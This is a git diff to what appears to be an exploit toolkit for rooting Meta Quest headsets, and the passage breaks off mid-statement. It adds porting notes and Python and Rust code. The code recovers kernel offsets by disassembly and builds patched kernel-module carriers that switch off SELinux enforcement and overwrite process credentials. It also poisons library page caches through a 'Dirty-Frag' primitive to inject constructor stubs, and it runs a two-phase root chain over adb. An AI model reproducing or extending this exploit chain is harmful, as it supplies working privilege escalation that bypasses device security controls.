diff --git a/PORTING.md b/PORTING.md index 23020f0..2c55b1b 100644 --- a/PORTING.md +++ b/PORTING.md @@ -149,3 +149,79 @@ fuguquest -t targets/q3s_.json --adb-root # or --postex Confirm on-device (as with QPro's gralloc injection): `trackingservice` maps `libcdsprpc` and it's `same_process_hal_file` (shell-readable). If not, pick another trackingservice-mapped, shell-readable lib with a ≥ ~3.7 KB exec gap for `--inject-lib`. + +--- + +## Quest 2 (merged 4.19) — including old builds with no data kallsyms + +Quest 2 (`hollywood`) is the **same merged single-carrier shape as Quest Pro** — `rdbg` carrier, +`libgralloc.qti.so` ctor injection, shell-direct cfg poison. Recent builds (kernel `4.19.325`, +`52106880xxxxx…52242990xxxxx`) port with the plain QPro invocation: + +``` +python3 port.py --zip q2_.zip --merged --carrier rdbg \ + --inject-lib libgralloc.qti.so --enforcing-off 1 --cred-off 0x7e8 +``` + +**Old builds need another path.** The oldest dumped build, `50837850062000150` +(kernel **`4.19.157+`**, security patch `2024-02-05` — well before the DirtyFrag fix, so the primitive +is live), breaks two of port.py's assumptions. Both are now handled automatically: + +1. **`selinux_state` isn't in kallsyms.** This kernel's `/proc/kallsyms` (hence the vmlinux-to-elf + symtab) carries **only function symbols — no data symbols — and no BTF**, so `selinux_state`, the + one *data* symbol the deltas need, is missing and port.py used to die with + `missing kernel symbols in vmlinux: selinux_state`. port.py now **xrefs it out of the code**: + `&selinux_state` is baked into every SELinux hook as the first argument (x0) to + `avc_has_perm_noaudit(&selinux_state, …)`, so `selinux_state_via_xref()` disassembles the kernel, + finds every `bl avc_has_perm_noaudit`, back-tracks the `adrp x0 / add x0,x0,#imm` that set x0, and + **majority-votes** the result. On `50837850062000150` all callers agree on `0xffffff800976f8f8` + (`selinux_vm_enough_memory` / `cred_has_capability` are the cleanest single-call witnesses). Only + `llvm-objdump` is needed; the fallback triggers **only when the symbol is absent**, so 4.19.325 / + 5.10 ports are byte-for-byte unchanged. + +2. **`task_struct->cred` moved.** It's **`0x7e0` on 4.19.157**, not `0x7e8` (4.19.325) — task_struct + grew 8 B between the point-releases, so the hard-coded QPro value would cred-patch the wrong pointer + and corrupt memory. port.py now reads it straight out of `commit_creds` (`mrs xN, SP_EL0` → + current, then the adjacent `real_cred @ a` / `cred @ a+8` load pair). Pass **`--cred-off auto`** to + trust the derivation, or an explicit value; either way it's **cross-checked against `commit_creds`** + and a mismatch is flagged. (`enforcing_off` stays `1` — `struct selinux_state {bool disabled; + bool enforcing; …}` is unchanged; `cred->security` stays `0x78`, confirmed from + `cred_has_capability`'s `ldr x8,[x0,#120]`.) + +``` +python3 port.py --zip q2_50837850062000150.zip --merged --carrier rdbg \ + --inject-lib libgralloc.qti.so --enforcing-off 1 --cred-off auto +# -> [xref] selinux_state not in kallsyms -> 0xffffff800976f8f8 (via avc_has_perm_noaudit callers) +# -> [derive] task_struct->cred = 0x7e0 (from commit_creds) +``` + +The carrier (`rdbg`, 676 B `.init.text`, `__platform_driver_register` anchor), the cfg +(`modprobe|-b *`, identical to newer builds) and `libandroid_servers.so` (dump stub target) all +extract normally — only the kernel-side symbol/offset recovery differed there. + +**Userspace injection still needs on-device work on this build** (kernel offsets are done and +self-consistent; the ctor-injection front-end is not). Two more things changed and are flagged in the +target's `status` / `port_notes`: + +- **The tracking daemon is `trackingfidelityservice`** (`user system`, `group camera`), not + `trackingservice`. `services.tracking` is set accordingly. Confirm on-device that a `ctl.restart` + re-runs it, that its SELinux domain can `open()` the carrier (`rdbg.ko`, `vendor_file`) for the ESP + page-cache poison, and that it maps the `inject_lib` you pick. +- **No tracking-mapped, shell-readable lib has a big enough exec zero-gap.** The old toolchain packs + code tightly, so almost every `vendor`/`system` lib has a 3–8 B exec gap; the full merged ctor stub + is ~3500 B (263 diff bytes × 12 + ~344 B). `libgralloc.qti.so` (552 B) and `libcdsprpc.so` (3328 B) + both **overflow**. This is now handled by the **split flow** (`fuguquest` auto-selects it when the + merged stub won't fit the gap; `"split_flow": true` in the target forces it): + - **Phase A** injects a small **enforcing-only** carrier via the tracking-daemon ctor + (`build_credmod_ex(enforcing_only)` — 104 B patch → **1904 B stub, fits `libcdsprpc`'s 3328 B + gap**), loads it, and reaches Permissive. (Unlike Q3's `build_carrier`, this reuses + `build_credmod`'s ABS64-anchor path, so it works on `rdbg`'s 18-CALL26 `.init.text`.) + - **Phase B**, now under Permissive/DAC, builds the **full cred carrier** from the same `rdbg`, + **renames its module** (`rename_module` → `rdbgcp`) so it coexists with the loaded Phase-A `rdbg`, + pushes it to `/data/local/tmp/uv.ko`, poisons the cfg shell-direct to `insmod` it, and + `ctl.start insmod_sh` loads it → cred-patch → root. Both patched inits return early (no device + registration), so the two modules don't conflict. + + Validate the stub sizes offline with `cargo run --example fitcheck` (defaults to this target). + If Phase A's stub still won't fit on some other build, point `inject_lib` at any tracking-mapped, + shell-readable lib with a ≥ ~2 KB exec gap. diff --git a/README.md b/README.md index 4ed653f..62dd48b 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,10 @@ fuguquest -t targets/.json [-d SERIAL] [--settle N] [--verify-root] `usbip-vudc` cred carrier). Validated on-device (adb-root ~10 s). - **Quest 3S / Quest Pro / Quest 2 (merged)** — one carrier does enforcing=0 + cred-patch together; Q3S uses a `.text`-splice carrier. See below. +- **Old builds with tiny exec gaps (e.g. Q2 4.19.157)** — if the merged cred stub is too big for any + tracking-mapped lib's exec gap, `fuguquest` auto-selects a **split flow**: a small enforcing-only + ctor → Permissive, then a renamed full cred carrier loaded shell-direct under DAC → root + (`"split_flow": true` forces it). See [PORTING.md](PORTING.md) → Quest 2. ### `--local` — run on-device Runs the whole orchestrator **on the device, in the shell domain**, executing every command with diff --git a/port.py b/port.py index 3754639..ccda16b 100644 --- a/port.py +++ b/port.py @@ -22,7 +22,7 @@ import argparse, json, os, re, struct, subprocess, sys, tempfile, shutil, atexit HERE = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, HERE) -from toolconf import READELF, NM, PDG, DEBUGFS, VMLINUX_TO_ELF # central tool locations (edit toolconf.py / set env) +from toolconf import READELF, NM, OBJDUMP, PDG, DEBUGFS, VMLINUX_TO_ELF # central tool locations (edit toolconf.py / set env) R_AARCH64_CALL26 = 0x11b def run(args): return subprocess.run(args, capture_output=True, text=True).stdout # arg list, no shell (OS-independent) @@ -107,6 +107,61 @@ def dump_sym(lib, needle): f = l.split(); return int(f[1], 16), int(f[2]) return None, None +# --- old-kernel "another path": derive data/struct offsets by disassembly ------------------------ +# Old Quest 2 kernels (e.g. 4.19.157 on build 5083785006200150) ship a kallsyms with NO data symbols +# and NO BTF, so `selinux_state` — the only *data* symbol port.py needs — is missing and vmlinux-to-elf +# can't recover it. We instead xref it out of the code (its address is baked into every SELinux hook): +# `avc_has_perm_noaudit(&selinux_state, ...)` passes it as x0, so majority-vote the x0 (adrp+add) across +# every call site. task_struct->cred can likewise shift across 4.19 point-releases (0x7e0 on 4.19.157 +# vs 0x7e8 on 4.19.325), so we can read it straight out of commit_creds. Both need only llvm-objdump. +def _objdump(vm): + return run([OBJDUMP, "-d", "--no-show-raw-insn", vm]).splitlines() + +_INSN = re.compile(r"^\s*([0-9a-f]+):\s+(\w+)\s*(.*)$") +def _disasm_iter(lines): + for l in lines: + m = _INSN.match(l) + if m: + yield int(m.group(1), 16), m.group(2), m.group(3).split("//")[0].strip() + +def selinux_state_via_xref(vm, avc_addr): + """&selinux_state = the x0 passed to avc_has_perm_noaudit, majority-voted over all call sites. + Tracks the running x0 (adrp then add #imm); a bl / mov / ldr into x0 invalidates it.""" + target = f"{avc_addr:x}" + x0_page = x0_val = None + votes = {} + for _addr, mn, ops in _disasm_iter(_objdump(vm)): + if mn == "adrp" and ops.startswith("x0,"): + m = re.search(r"0x([0-9a-f]+)", ops); x0_page = int(m.group(1), 16) if m else None; x0_val = None + elif mn == "add" and ops.startswith("x0, x0, #"): + m = re.match(r"x0, x0, #(-?(?:0x[0-9a-f]+|\d+))(?:, lsl #(\d+))?", ops) + if m and x0_page is not None: + imm = int(m.group(1), 0) << (int(m.group(2)) if m.group(2) else 0) + x0_val = x0_page + imm + elif mn == "bl": + if ops.split()[0].lstrip("#").rstrip(">").split("<")[0].strip().endswith(target) and x0_val is not None: + votes[x0_val] = votes.get(x0_val, 0) + 1 + x0_page = x0_val = None # bl clobbers x0 (return value) + elif ops[:3] in ("x0,", "w0,"): # any other write to x0/w0 + x0_page = x0_val = None + if not votes: return None + return max(votes.items(), key=lambda kv: kv[1])[0] + +def cred_off_via_commit_creds(vm, cc_addr): + """task_struct->cred: commit_creds loads current (mrs SP_EL0) then the adjacent real_cred/cred + pointer pair (cred = real_cred + 8). Returns cred offset, or None.""" + cur = None; ldrs = [] + for addr, mn, ops in _disasm_iter(_objdump(vm)): + if addr < cc_addr: continue + if addr > cc_addr + 0x200: break + if mn == "mrs" and "SP_EL0" in ops: cur = ops.split(",")[0].strip() + elif mn == "ldr" and cur: + m = re.search(rf"\[{re.escape(cur)}, #(-?(?:0x[0-9a-f]+|\d+))\]", ops) + if m: ldrs.append(int(m.group(1), 0)) + for a in sorted(set(ldrs)): + if a + 8 in ldrs: return a + 8 # real_cred @ a, cred @ a+8 + return None + def main(): ap = argparse.ArgumentParser() ap.add_argument("--zip", required=True) @@ -124,7 +179,8 @@ def main(): ap.add_argument("--enforcing-off", type=lambda x: int(x, 0), default=0, help="selinux_state.enforcing byte offset (5.10=0, 4.19=1; confirm via BTF)") ap.add_argument("--cred-off", default="0x778", - help="task_struct->cred offset (5.10=0x778, 4.19=0x7e8; confirm via BTF)") + help="task_struct->cred offset (5.10=0x778, 4.19.325=0x7e8, 4.19.157=0x7e0; " + "'auto' = derive from commit_creds. Always cross-checked against commit_creds.)") ap.add_argument("--cred-security-off", default="0x78", help="cred->security offset for --adb-root's kernel-context patch (0x78 on 5.10 & 4.19)") ap.add_argument("--cfg-ctor", action="store_true", @@ -176,18 +232,38 @@ def main(): vm = os.path.join(wd, "vmlinux.elf") subprocess.run([VMLINUX_TO_ELF, os.path.join(wd, "boot.img"), vm], capture_output=True) want = ("selinux_state", anchor, "find_vpid", "pid_task", "selinux_status_update_setenforce") + # also grab the code symbols used to xref-derive missing data syms on old (data-kallsyms-less) kernels + extra = ("avc_has_perm_noaudit", "commit_creds") syms = {} for l in run([NM, vm]).splitlines(): f = l.split() - if len(f) == 3 and f[2] in want: syms[f[2]] = int(f[0], 16) + if len(f) == 3 and f[2] in want + extra: syms[f[2]] = int(f[0], 16) + # selinux_state is a *data* symbol; old kernels (4.19.157 Q2) ship no data kallsyms -> xref it out + # of the code instead (friend's tip: it's avc_has_perm_noaudit's first arg). See helper above. + if "selinux_state" not in syms and "avc_has_perm_noaudit" in syms: + ss = selinux_state_via_xref(vm, syms["avc_has_perm_noaudit"]) + if ss: + syms["selinux_state"] = ss + print(f" [xref] selinux_state not in kallsyms -> {ss:#x} (via avc_has_perm_noaudit callers)") miss = [s for s in want if s not in syms] - if miss: die("missing kernel symbols in vmlinux: " + ",".join(miss)) + if miss: die("missing kernel symbols in vmlinux: " + ",".join(miss) + + (" (selinux_state xref needs avc_has_perm_noaudit)" if "selinux_state" in miss else "")) pdr = syms[anchor] d32 = lambda s: hex((syms[s] - pdr) & 0xffffffff) # anchor-relative, 32-bit two's complement print(f" {anchor}={pdr:#x} selinux_state={syms['selinux_state']:#x}") print(f" dsel={d32('selinux_state')} dfv={d32('find_vpid')} dpt={d32('pid_task')} " f"dssuse={d32('selinux_status_update_setenforce')}") + # task_struct->cred drifts across 4.19 point-releases (0x7e0 on 4.19.157 vs 0x7e8 on 4.19.325). + # Read it out of commit_creds. --cred-off auto = trust the derivation; else cross-check & warn. + cc = cred_off_via_commit_creds(vm, syms["commit_creds"]) if "commit_creds" in syms else None + if str(a.cred_off).lower() == "auto": + if cc is None: die("could not derive cred_off from commit_creds; pass --cred-off explicitly") + a.cred_off = hex(cc); print(f" [derive] task_struct->cred = {a.cred_off} (from commit_creds)") + elif cc is not None and cc != int(a.cred_off, 0): + print(f" [!] cred_off cross-check: --cred-off={a.cred_off} but commit_creds reads {hex(cc)} " + f"— VERIFY (use --cred-off {hex(cc)} or --cred-off auto if the derivation is right)") + print(f"[*] inject-lib ({a.inject_lib}) / libandroid offsets ...") ilib = lib_from_device_or_zip(a.inject_lib, f"/vendor/lib64/{a.inject_lib}", a.device, wd, [os.path.join(wd, i) for i in IMGS], [f"/lib64/{a.inject_lib}"] * 2) diff --git a/rust/examples/fitcheck.rs b/rust/examples/fitcheck.rs new file mode 100644 index 0000000..df50ded --- /dev/null +++ b/rust/examples/fitcheck.rs @@ -0,0 +1,55 @@ +// Offline stub-fit check for a MERGED target: build the credmod carrier, then the inject stub, and +// report whether it fits the chosen inject-lib's exec gap — without a device. Handy when porting an +// old build whose libs have small exec gaps (the merged stub is ~diffs*12 + ~344 B fixed). +// cargo run --example fitcheck -- +// Defaults are q2_50837850062000150 + libcdsprpc's gap. +#[path = "../src/asm.rs"] mod asm; +#[path = "../src/aes.rs"] mod aes; +#[path = "../src/elf.rs"] mod elf; +#[path = "../src/emit.rs"] mod emit; +#[path = "../src/credmod.rs"] mod credmod; + +fn sx32(v: u64) -> i64 { (v as u32 as i32) as i64 } +fn arg(i: usize, d: u64) -> u64 { std::env::args().nth(i).map(|s| { + let s = s.trim_start_matches("0x"); u64::from_str_radix(s, 16).unwrap_or(d) }).unwrap_or(d) } + +fn main() { + let ko = std::env::args().nth(1).unwrap_or("../targets/q2_50837850062000150/rdbg.ko".into()); + let orig = std::fs::read(&ko).expect("read carrier"); + let gap_size = std::env::args().nth(2).and_then(|s| s.parse().ok()).unwrap_or(3328usize); + let (dsel, dfv, dpt, dssuse) = (sx32(arg(3, 0x109672c)), sx32(arg(4, 0xffa047cc)), + sx32(arg(5, 0xffa049c0)), sx32(arg(6, 0xffd631ec))); + let cred_off = arg(7, 0x7e0) as u32; + + let (patched, msg) = credmod::build_credmod(orig.clone(), dsel, dfv, dpt, 0, dssuse, 1, cred_off, Some(0x78)) + .expect("build_credmod"); + let ndiff = (0..patched.len()).filter(|&i| orig[i] != patched[i]).count(); + println!("credmod: {}\ncarrier {} B, patched differs in {} bytes", msg, orig.len(), ndiff); + + let files = vec![("/vendor/lib/modules/rdbg.ko".to_string(), orig.clone(), patched)]; + // gap_off/orig_ctor/init_array_off don't affect the size check; use the JSON's libcdsprpc values. + match emit::build_inject_stub(0xdeadbe10, 0x41, 9999, 0x15300, gap_size, 0x3b8f8, 0x3d180, &files) { + Ok((raw, _s, c)) => println!("MERGED inject stub: {} B (gap {}, {} free) diffs={:?} => FITS", + raw.len(), gap_size, gap_size as isize - raw.len() as isize, c), + Err(e) => println!("MERGED inject stub: {}", e), + } + + // ---- split flow: Phase-A enforcing-only carrier (should be small enough to fit) ---- + let (enf, emsg) = credmod::build_credmod_ex(orig.clone(), dsel, dfv, dpt, 0, dssuse, 1, cred_off, None, true) + .expect("build_credmod_ex enforcing-only"); + let nd = (0..enf.len()).filter(|&i| orig[i] != enf[i]).count(); + println!("PHASE-A enforcing-only: {}\n differs in {} bytes", emsg, nd); + let files2 = vec![("/vendor/lib/modules/rdbg.ko".to_string(), orig.clone(), enf)]; + match emit::build_inject_stub(0xdeadbe10, 0x41, 9999, 0x15300, gap_size, 0x3b8f8, 0x3d180, &files2) { + Ok((raw, _s, c)) => println!("PHASE-A inject stub: {} B (gap {}, {} free) diffs={:?} => FITS", + raw.len(), gap_size, gap_size as isize - raw.len() as isize, c), + Err(e) => { eprintln!("PHASE-A inject stub: {}", e); std::process::exit(1); } + } + // ---- Phase-B renamed cred carrier (loaded shell-direct under Permissive; no gap limit) ---- + let (credb, _m) = credmod::build_credmod(orig.clone(), dsel, dfv, dpt, 12345, dssuse, 1, cred_off, None) + .expect("build_credmod phase-B"); + let renamed = credmod::rename_module(credb, "rdbgcp").expect("rename_module"); + let has = renamed.windows(7).any(|w| w == b"rdbgcp\0"); + println!("PHASE-B cred carrier renamed to 'rdbgcp' ({} B, name-in-image={}) — coexists with loaded 'rdbg'", + renamed.len(), has); +} diff --git a/rust/src/credmod.rs b/rust/src/credmod.rs index 0613919..52a0043 100644 --- a/rust/src/credmod.rs +++ b/rust/src/credmod.rs @@ -3,7 +3,7 @@ // Pure Rust ELF manipulation — no clang, no llvm-objcopy/readelf. #![allow(dead_code)] use crate::elf::{Elf, R_AARCH64_ABS64, R_AARCH64_CALL26}; -use crate::emit::{build_patch_init, cred_patch}; +use crate::emit::{build_patch_init, cred_patch_ex}; /// Q3 two-carrier flow: splice the 52-byte enforcing-only init patch into the carrier's .init.text, /// repoint the CALL26 anchor reloc's r_offset, NONE the other in-region relocs. Returns patched bytes. @@ -51,12 +51,36 @@ pub fn build_cfg(orig: Vec, insmod_path: &str, inject_off: usize, inject_len Ok((orig, patched)) } +/// Rename the module (struct module.name is a char[56] at +24 in .gnu.linkonce.this_module: after +/// `enum module_state state` (4+4 pad) and `struct list_head list` (16)). Lets the Phase-B cred carrier +/// load under a distinct name while the Phase-A enforcing carrier (same base .ko) is still loaded. +pub fn rename_module(carrier_bytes: Vec, new_name: &str) -> Result, String> { + const NAME_OFF: usize = 24; + const NAME_LEN: usize = 56; + let nb = new_name.as_bytes(); + if nb.len() >= NAME_LEN { return Err(format!("module name '{}' too long (max {})", new_name, NAME_LEN - 1)); } + let mut e = Elf::parse(carrier_bytes)?; + let tm = e.sec(".gnu.linkonce.this_module").ok_or("no .gnu.linkonce.this_module")?.clone(); + if tm.size < NAME_OFF + NAME_LEN { return Err("this_module section too small for name field".into()); } + let base = tm.off + NAME_OFF; + for i in 0..NAME_LEN { e.data[base + i] = 0; } + e.data[base..base + nb.len()].copy_from_slice(nb); + Ok(e.data) +} + /// Merged cred carrier. Diff-patch the carrier's init into cred_patch, rewriting the CALL26 anchor to /// R_AARCH64_ABS64 at the anchor64 slot; auto-selects .init.text mode or .text-splice (small init). /// deltas are signed 32-bit. ctx=Some(off) also sets SELinux context -> kernel. pub fn build_credmod(carrier_bytes: Vec, dsel: i64, dfv: i64, dpt: i64, pid: i64, dssuse: i64, enf_off: u32, cred_off: u32, ctx: Option) -> Result<(Vec, String), String> { - let (patch, anchor_local) = cred_patch(dsel, dfv, dpt, pid, dssuse, enf_off, cred_off, ctx); + build_credmod_ex(carrier_bytes, dsel, dfv, dpt, pid, dssuse, enf_off, cred_off, ctx, false) +} + +/// enforcing_only=true builds the small Phase-A carrier (enforcing=0 + status-sync only) for the split +/// flow. Same diff-injection mechanics; the shorter patch yields far fewer diff bytes. +pub fn build_credmod_ex(carrier_bytes: Vec, dsel: i64, dfv: i64, dpt: i64, pid: i64, dssuse: i64, + enf_off: u32, cred_off: u32, ctx: Option, enforcing_only: bool) -> Result<(Vec, String), String> { + let (patch, anchor_local) = cred_patch_ex(dsel, dfv, dpt, pid, dssuse, enf_off, cred_off, ctx, enforcing_only); let mut e = Elf::parse(carrier_bytes)?; let it = e.sec(".init.text").ok_or("no .init.text")?.clone(); let anchor_off = it.off + anchor_local; // absolute file offset later? -> reloc r_offset is section-relative diff --git a/rust/src/emit.rs b/rust/src/emit.rs index 4215789..7d9ed17 100644 --- a/rust/src/emit.rs +++ b/rust/src/emit.rs @@ -45,6 +45,13 @@ pub fn build_patch_init(delta: u32) -> [u8; 52] { /// SELinux-context=kernel block using cred->security offset. pub fn cred_patch(dsel: i64, dfv: i64, dpt: i64, pid: i64, dssuse: i64, enf_off: u32, cred_off: u32, ctx: Option) -> (Vec, usize) { + cred_patch_ex(dsel, dfv, dpt, pid, dssuse, enf_off, cred_off, ctx, false) +} + +/// enforcing_only=true emits just enforcing=0 + status-sync (no find_vpid/pid_task/cred-patch) — the +/// small Phase-A carrier for the split flow (fewer diff bytes -> the ctor stub fits a small exec gap). +pub fn cred_patch_ex(dsel: i64, dfv: i64, dpt: i64, pid: i64, dssuse: i64, + enf_off: u32, cred_off: u32, ctx: Option, enforcing_only: bool) -> (Vec, usize) { let lo = |v: i64| (v as u32 & 0xffff) as u16; let hi = |v: i64| ((v as u32 >> 16) & 0xffff) as u16; let mut a = Asm::new(); @@ -70,6 +77,7 @@ pub fn cred_patch(dsel: i64, dfv: i64, dpt: i64, pid: i64, dssuse: i64, a.mov_x(0, 2); a.mov_x_xzr(1); a.blr(4); + if !enforcing_only { // find_vpid (x20) a.movz_w(1, lo(dfv), 0); a.movk_w(1, hi(dfv), 1); a.add_x_w_sxtw(20, 19, 1); @@ -99,6 +107,7 @@ pub fn cred_patch(dsel: i64, dfv: i64, dpt: i64, pid: i64, dssuse: i64, a.orr_w_1(5); a.stp_w(5, 5, 4, 0); } + } a.label("done"); a.mov_w_wzr(0); a.ldp_x(21, 22, 31, 32); diff --git a/rust/src/orchestrate.rs b/rust/src/orchestrate.rs index 78f167c..2673e4e 100644 --- a/rust/src/orchestrate.rs +++ b/rust/src/orchestrate.rs @@ -8,7 +8,7 @@ use std::time::Duration; use crate::adb::{Adb, Stager, WaitShell, pick_device}; use crate::assets; -use crate::credmod::{build_carrier, build_cfg, build_credmod}; +use crate::credmod::{build_carrier, build_cfg, build_credmod, build_credmod_ex, rename_module}; use crate::emit::{build_inject_stub, build_libas_stub, inject_restore_spec, libas_restore_spec}; use crate::log::*; use crate::target::Target; @@ -395,6 +395,14 @@ pub fn run_merged(t: &Target, device_override: Option<&str>, cleanup: Cleanup, _ adb.push(&dex.to_string_lossy(), "/data/local/tmp/e2e.dex"); ok("pushed e2e.dex"); disable_phantom(&adb); + // Old builds (e.g. Q2 4.19.157) have no daemon-mapped lib with a big-enough exec gap for the full + // merged cred stub. If the merged inject stub won't fit (or split_flow is set), take the split path: + // a small enforcing-only ctor -> Permissive, then a shell-direct renamed cred carrier -> root. + let adb_root_early = cleanup == Cleanup::AdbRoot; + if t.bool_or(&["split_flow"], false) || !merged_stub_fits(t, adb_root_early) { + return run_merged_split(t, &serial, &adb, cleanup, settle_ms, skip_magisk, local, &workdir); + } + banner("STAGE (shell: Dirty-Frag SA)"); let mut stager = Stager::new(&serial, local); step(&format!("Staging attacker-keyed AES-GCM ESP SA ({})", t.s(&["dirtyfrag", "sa_spi"]))); @@ -565,6 +573,193 @@ pub fn run_merged(t: &Target, device_override: Option<&str>, cleanup: Cleanup, _ } } +/// Would the full merged cred inject-stub fit the inject-lib's exec gap? (size only; pid irrelevant) +fn merged_stub_fits(t: &Target, adb_root: bool) -> bool { + let cc = match std::fs::read(t.local_path(&["carrier", "local_ko"])) { Ok(b) => b, Err(_) => return true }; + let (dsel, dfv, dpt, dssuse) = deltas(t); + let enf = t.hx_or(&["kernel", "enforcing_off"], 0) as u32; + let cred = t.hx_or(&["kernel", "cred_off"], 0x778) as u32; + let csec = if adb_root { t.hx_opt(&["kernel", "cred_security_off"]).map(|v| v as u32) } else { None }; + let (credko, _) = match build_credmod(cc.clone(), dsel, dfv, dpt, 0, dssuse, enf, cred, csec) { Ok(x) => x, Err(_) => return true }; + let shell_cfg = t.bool_or(&["cfg", "shell_poison_under_enforcing"], false); + let cfg_orig = match std::fs::read(t.local_path(&["cfg", "local_cfg"])) { Ok(b) => b, Err(_) => return true }; + let (cfg_cur, cfg_want) = match build_cfg(cfg_orig, &t.s(&["carrier", "device_path"]), t.hx(&["cfg", "inject_off"]) as usize, t.hx(&["cfg", "inject_len"]) as usize) { Ok(x) => x, Err(_) => return true }; + let ik = t.inj_key(); + let mut files = vec![(t.s(&["carrier", "device_path"]), cc, credko)]; + if !shell_cfg { files.push((t.s(&["cfg", "device_path"]), cfg_cur, cfg_want)); } + build_inject_stub(t.hx(&["dirtyfrag", "sa_spi"]) as u32, t.hx(&["dirtyfrag", "keymat_base"]) as u8, 9999, + t.hx(&[ik, "stub_gap_off"]) as u64, t.hx(&[ik, "stub_gap_size"]) as usize, + t.hx(&[ik, "orig_ctor_off"]) as u64, t.hx(&[ik, "init_array_off"]) as u64, &files).is_ok() +} + +const SPLIT_CRED_MOD: &str = "rdbgcp"; // Phase-B module name (distinct from the loaded Phase-A carrier) + +// ============================== split merged flow (old builds: small ctor gap) ============================== +// Phase A: inject a SMALL enforcing-only carrier via the tracking-daemon ctor -> Permissive. +// Phase B: under Permissive/DAC, load a renamed FULL cred carrier via a shell-poisoned cfg -> root. +// e2e.dex is already pushed and phantom disabled by the caller (run_merged). +fn run_merged_split(t: &Target, serial: &str, adb: &Adb, cleanup: Cleanup, settle_ms: u64, skip_magisk: bool, local: bool, workdir: &Path) { + banner("SPLIT MERGED FLOW (small enforcing ctor -> Permissive; then shell-direct cred carrier -> root)"); + let adb_root = cleanup == Cleanup::AdbRoot; + let before = adb.sh("getenforce"); + let ik = t.inj_key(); + let (dsel, dfv, dpt, dssuse) = deltas(t); + let enf = t.hx_or(&["kernel", "enforcing_off"], 0) as u32; + let cred = t.hx_or(&["kernel", "cred_off"], 0x778) as u32; + let spi = t.hx(&["dirtyfrag", "sa_spi"]) as u32; + let kmb = t.hx(&["dirtyfrag", "keymat_base"]) as u8; + let shell_cfg = t.bool_or(&["cfg", "shell_poison_under_enforcing"], false); + let cc = read_local(&t.local_path(&["carrier", "local_ko"])); + + banner("STAGE (shell: Dirty-Frag SA)"); + let mut stager = Stager::new(serial, local); + step(&format!("Staging attacker-keyed AES-GCM ESP SA ({})", t.s(&["dirtyfrag", "sa_spi"]))); + let port = stager.start().unwrap_or_else(|| die("stager failed (stale SA? reboot to clear xfrm)")); + ok(&format!("SA live, encap port {}", port)); + + // ---------------- Phase A: enforcing-only carrier -> Permissive ---------------- + banner("PHASE A (enforcing-only carrier via ctor)"); + step("Building enforcing-only carrier (build_credmod enforcing_only: enforcing=0 + status-sync)"); + let (enfko, emsg) = build_credmod_ex(cc.clone(), dsel, dfv, dpt, 0, dssuse, enf, cred, None, true) + .unwrap_or_else(|e| { stager.stop(); die(&format!("build_credmod_ex: {}", e)) }); + ok(&emsg); + let cfg_orig = read_local(&t.local_path(&["cfg", "local_cfg"])); + let (cfg_cur, cfg_want) = build_cfg(cfg_orig, &t.s(&["carrier", "device_path"]), + t.hx(&["cfg", "inject_off"]) as usize, t.hx(&["cfg", "inject_len"]) as usize).unwrap_or_else(|e| die(&e)); + + let mut inj_files = vec![(t.s(&["carrier", "device_path"]), cc.clone(), enfko)]; + if !shell_cfg { inj_files.push((t.s(&["cfg", "device_path"]), cfg_cur.clone(), cfg_want.clone())); } + step(&format!("inject-lib stub (init_array[0] -> {}-file enforcing poison in the gap)", inj_files.len())); + let (eva_raw, eva_spec, cnts) = build_inject_stub(spi, kmb, port, + t.hx(&[ik, "stub_gap_off"]) as u64, t.hx(&[ik, "stub_gap_size"]) as usize, + t.hx(&[ik, "orig_ctor_off"]) as u64, t.hx(&[ik, "init_array_off"]) as u64, &inj_files) + .unwrap_or_else(|e| { stager.stop(); die(&format!("Phase-A inject stub: {}", e)) }); + let eva_stub_len = eva_raw.len(); + info(&format!("stub {}B (IVs={:?}) gap fits {}B", eva_raw.len(), cnts, t.hx(&[ik, "stub_gap_size"]))); + poison(adb, workdir, &inj_dev_path(t), &eva_spec, "inject"); + step(&format!("libandroid_servers::dump stub (-> ctl.restart {})", t.s(&["services", "tracking"]))); + let (las_raw, las_spec) = build_libas_stub(&t.s(&["property_socket"]), &t.s(&["services", "tracking"]), + t.hx(&["libandroid_servers", "dump_off"]) as u64, t.hx(&["libandroid_servers", "dump_size"]) as usize).unwrap_or_else(|e| die(&e)); + let orig_las = adb.read_region(&t.s(&["libandroid_servers", "device_path"]), t.hx(&["libandroid_servers", "dump_off"]) as u64, las_raw.len()); + poison(adb, workdir, &t.s(&["libandroid_servers", "device_path"]), &las_spec, "libas"); + + let mut reverted = false; + let do_revert = |adb: &Adb, workdir: &Path, reverted: &mut bool| { + if *reverted { return; } *reverted = true; + poison(adb, workdir, &inj_dev_path(t), &inject_restore_spec(t.hx(&[ik, "stub_gap_off"]) as u64, t.hx(&[ik, "init_array_off"]) as u64, t.hx(&[ik, "orig_ctor_off"]) as u64, eva_stub_len), "inject_restore"); + if !orig_las.is_empty() { + poison(adb, workdir, &t.s(&["libandroid_servers", "device_path"]), &libas_restore_spec(t.hx(&["libandroid_servers", "dump_off"]) as u64, &orig_las), "libas_restore"); + } + }; + + banner("TRIGGER (shell)"); + let tsvc = t.s(&["services", "tracking"]); + let isvc = t.s(&["services", "insmod_sh"]); + step(&format!("dumpsys input -> system_server restarts {} -> ctor poisons carrier", tsvc)); + let pid0 = adb.sh(&format!("pidof {}", tsvc)); + adb.sh("dumpsys input >/dev/null 2>&1"); + let mut pid1 = pid0.clone(); + for _ in 0..200 { ms(100); pid1 = adb.sh(&format!("pidof {}", tsvc)); if !pid1.is_empty() && pid1 != pid0 { break; } } + if pid1 == pid0 || pid1.is_empty() { + err(&format!("{} did not restart (pid still {}) — dump stub not hit", tsvc, pid0)); + do_revert(adb, workdir, &mut reverted); stager.stop(); return; + } + ok(&format!("{} restarted pid {} -> {}", tsvc, pid0, pid1)); + info(&format!("settling {}ms for the ctor's carrier poison to complete", settle_ms)); + ms(settle_ms); + step("Reverting inject-lib + libandroid poison (ctor done; before module load)"); + do_revert(adb, workdir, &mut reverted); + + if shell_cfg { + step("init.insmod.cfg (shell-direct: insmod the enforcing carrier)"); + adb.sh(&format!("cat {} >/dev/null 2>&1", t.s(&["cfg", "device_path"]))); + poison(adb, workdir, &t.s(&["cfg", "device_path"]), &cfg_pe_spec(t, &t.s(&["carrier", "device_path"])), "cfg"); + } else { + info("init.insmod.cfg was poisoned by the 2-file ctor"); + } + step(&format!("setprop ctl.start {} -> init finit_modules the enforcing carrier", isvc)); + adb.sh(&format!("setprop ctl.start {}", isvc)); + + banner("VERIFY (enforcing flip)"); + let mut after = String::new(); + for _ in 0..100 { ms(100); after = 